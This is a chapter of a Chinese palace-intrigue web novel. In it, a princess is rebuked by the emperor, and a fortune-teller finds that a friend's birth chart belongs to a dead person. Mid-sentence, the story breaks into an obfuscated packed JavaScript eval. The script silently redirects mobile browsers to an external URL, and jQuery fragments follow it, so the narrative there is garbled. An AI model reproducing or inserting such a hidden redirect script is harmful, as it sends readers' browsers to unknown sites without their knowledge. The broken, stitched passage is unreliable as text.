处理好关素馨的事,齐明娆在款冬的催促下总算是进宫了。
来得巧,齐明娆在离昌顺殿不远的宫道上碰上了皇后母子,“见过母后,见过太子殿下。”
齐明祉同她一道行礼,稳重了不少,越来越有当年那个储君的样子,精明、城府、算计。
“元恒回来了,你父皇在等着你呢。”皇后的语气无波无澜,平静得就像结了冰的湖面。
她也就只丢下这么一句话,再没有多的关心,径直离开了,只留下一股若有似无的香烛气息。
皇帝面前摆好了整理出来的折子,都是与齐明娆有关,每多一分,他的头便更胀一分,不仅是出于担心女儿的处境,还有对预言成真的忌惮。
随着太监一声通报,他调整好表情,安然地坐回椅上,准备观察齐明娆的表现。
许久不见皇帝,齐明娆自当是恭恭敬敬地行了个大礼,“儿臣见过父皇。”
瞧见几月不见的女儿,皇帝说不心疼是假的,黑了、瘦了,只是这个心疼实在少得可怜。
“你还知道回来?朕还以为你在外头乐不思蜀。”
她早早料到会被父皇责怪,先承认错误是要紧,再解释原委,“儿臣知错了,只是儿臣此去,为的是百姓,而非玩乐。”
皇帝早年是上过战场的,后来又在宫变中杀死自己的兄弟,最是明白战场凶险,“朕问你,你一个公主,何须上战场?战场上刀剑无眼,又是大火,你若出了事,叫朕怎么办?简直是胡闹。”
他一拍桌子,发了好大的脾气,顺手拿了个茶盏。就朝着齐明娆扔去,他扔得高,只要稍微一躲,便不会砸到她,却不想,眼前人压根儿就没有躲,结结实实地受了这一击。
茶盏被她捡起来又放回了桌案上,复又返回刚才的位置跪下俯身认错,“父皇息怒,儿臣这不是,安然无恙地回来了吗?”
皇帝低下头,不再去看她头上的伤,只是说话态度稍稍缓和了些,“还有萝鱼县修堤坝一事,用得着你亲自跑到堤坝上去吗?在营帐里面安排指挥就够了,你有几条命去瞎胡闹?还不小心掉进了大河里,你要真的出了事,要朕怎么与你母后交代?”
“父皇……”
“朕看你是长能耐了,朕管不住了。”
“儿臣不敢。”
“自今日起,好好歇息一阵吧,往后就待在京城里,别再出去了。”
“是。”
上阵抗倭、救灾济民,在男子面前是功绩,放在齐明娆身上却成了罪过。
高高拿起,轻轻放下,皇帝在她面前向来是这般做派,可这话,却与寻常的不同。
正巧这时,高公公进来传话,“太后娘娘派人来,请陛下与公主殿下到康宁宫一道用膳。”
他一转身,似乎方才并不知晓里头的动作,惊讶地看着齐明娆额头的一抹红。
“哎哟,公主这是怎么了?”
“无妨,不小心磕着了。”
只能怪自己不小心,总不能怪皇帝,她已然过了撒娇的年纪了。
·
赵扬淇想在府里四处走走,在侍女的带领下,开始闲逛起来。
公主府真是好生气派,和江宅那用金子堆成的金碧辉煌不同,和郡守府的高大庄严也不同,这里的气派有一种文雅的感觉,她也说不上来,果然来京城能长不少见识。
路过一处院门时,她听见里头在说笑,院门并没有关,她抬头往里一瞧,仿佛撞鬼了,这公主府里怎还住着别的女子?
难不成是有着特殊本领的能人异士?
她连忙询问边上的侍女“这位是?”
侍女一时差点乱了称呼,公主交代过他们的,不称世子夫人,只称关娘子,“这是……关娘子,是玄冥侯世子夫人,是我们公主的闺中密友,来府里小住。”
关素馨早被门口的动静打扰,抬眼却瞧见一个从未见过的女子,明显不是侍女,不曾想地,她却有些失落,牡丹又有新朋友了,看上去是位性情开朗的娘子。
先前怎的,未曾听牡丹提起过,大约也没那么重要,抑或是自己没那么重要。
她快速地检查了一遍自己,确定了裸露在外的部分看不到伤口,才壮着胆子与那人说话,“你是何人,为何站在我的院门口?”
赵扬淇身旁的侍女即刻回话,“关娘子,这是赵娘子,是我们殿下从江南带回来的……朋友。”
“原来是赵娘子,何不如进来坐坐?”
越走近,赵扬淇越觉得身上阴冷,她仔细观察着关素馨的面相,印堂发黑,似是正在遭遇祸事,可这竟然不是导致她怪异感受的源头。
关素馨慌张地摸着自己的脸,想着有伤口就快些挡住,袖子是提前捆好的,不至于落下来叫别人看到里头的伤,“你盯着我看做什么?我脸上有什么东西吗?”
“不是不是,我善占卜相面,不知可否让我替你算算?”赵扬淇赶忙替自己辩解,她刚才看地入了迷,确实是太过失礼,京城向来看重这些礼仪,自己定然要给她留下不好的印象了。
“这倒是稀奇,第一次碰见女相师呢。”
关素馨并未因为她的唐突而生气,反倒觉得有趣,和齐明娆待得久了,自己也能理解她是有大志向的人,身边多一些能人志士,不奇怪的,只是每每遇着一个新的,总觉得新奇。
接下来,赵扬淇说了许多自己观察出来的事,皆是一一应验了,又接过她的生辰八字开始测算,各种过去之事说得分毫不差,同样,她也看出了她如今的窘境,却没有点破。
赵扬淇终于知道那种不适是从哪里来的了,她好像真的撞见鬼了。
幸好,她能在阳光之下与她嬉笑攀谈,至少不是个真的鬼。
“娘子,只要坚持本心,定能逢凶化吉,未来定能光明灿烂。”
其实她已经不知道该怎么回答了,这个推测只是大概,谁能替死人占命呢?
她不敢在此处久待,怕折自己的气运。
公主仍未归来,她却在她的院子里面来回踱步,望着门口徘徊不前。
此事定然是要告知公主的。
齐明娆从宫里回来,见她在自己院子里杵着,吓了一跳,“你在此处等我?”
“公主殿下,我有一言,不知当讲不当讲。”
“有事便说,你瞧出什么了?”
“这……不是公主的事……也算公主的事。”
赵扬淇扭捏着,这样的事,叫她如何说呢?
“我今日在府中闲逛,意外碰见了芳菲苑那位世子夫人,我替她算了命,她的命格……那生辰八字明显是个死人的,我不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814793|211007||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说她是鬼,只是……终究不好,怕影响公主的宏图大业。”
齐明娆感到意外,此人的本事,倒是比自己想象得要更厉害些。
赵扬淇越想越慌,越想越觉得不对,害怕是有人故意将关素馨引到齐明娆身边,“那位关娘子的命格……不该活到此时才是,命格不像活人啊。”
明知道她不是故意的,可听到旁人说盈袖不是活人,齐明娆仍旧觉得恼怒,只能用强硬的态度对她说,“我说她是。”
“是是是,她此刻确实是活人。”
努力缓和着自己的情绪,她问赵扬淇:“她可是该死于十二岁?”
“公主怎知,是已经找人算过了?”赵扬淇有些惊讶。
“她十二岁那年,不小心落入宫中的明湖中,险些丧命,是我救了她。”
公主救了她,这样变通了,赵扬淇总算舒了一口气。
“这便也说得通了,公主殿下是有大气运之人,一出手改了别人的命,倒也不是没有可能。”
“为我算一卦吧,就算我此次能否帮她逢凶化吉。”
卦象凶吉,于齐明娆而言真的重要吗?她是个一半信命的人。
若是个吉卦,她便会觉得这是上天安排,一切自然而然、水到渠成。
若是个凶卦,她便会觉得这卦象不准,即使上天不许,她也要逆天改命,毕竟她已经改过一次关素馨的命了。
算完卦,舟车劳顿,她准备歇息了,好几日都未曾睡好,如今很是困倦。
赵扬淇临走前,齐明娆告诫她,“往后不要在府中乱走了,若想出府去,身旁多带两个侍女。”
“是。”
·
沾了淮树的光,刘霜儿一大早起来,拉着众人在厨房里忙活了好一会儿,准备了一大桌子菜。
小夫妻久别胜新婚,真是羡煞旁人。
聂祈亨是个闲不下来的性子,用完饭就又开始查账,一本接一本,仿佛入了迷,他这些日子倒是睡得好,深夜了还不觉得困倦。
腰间配着的,是齐明娆亲自为自己缝制的香囊,这针脚,这香气,可比自己给她做的那个好多了。
改日自己也该请个师傅学一学这刺绣的手艺,技多总归不压身的。
厨房为他做了点心,夜里做的都是些好克化,软软的,入口即化,只是味道终究不如自家妹妹做的。
人各有长,在这世道总有一种活法,还是有些担心不知道赵扬淇会不会给齐明娆添麻烦,她算他半个妹妹,毕竟是自小和江若莱一块儿疯着长大的。
只是到底不是亲的,自己不好开口,叫她测算一番齐明娆的姻缘。
今日回程时,他瞧见人家成婚,难免有几分艳羡。
也不知将来,自己会如何?
她未来若真做了皇帝,是否还能瞧得上自己?
他正出神,才瞧见桌角有一封信,似是新的,拿过来一看才发现是从越州寄来的,怪了,自己才到京城,江南就寄信回来,何事如此着急?
税务查得倒是快,看这意思,不少官员牵连其中,有些名字他还认识。
父母在心中感叹,往后生意能好做些了,只是切记家训,万不可贪财冒进,万不可见利忘义。
夜色深了,淮轻进来催促着:“郎君,该歇息了。”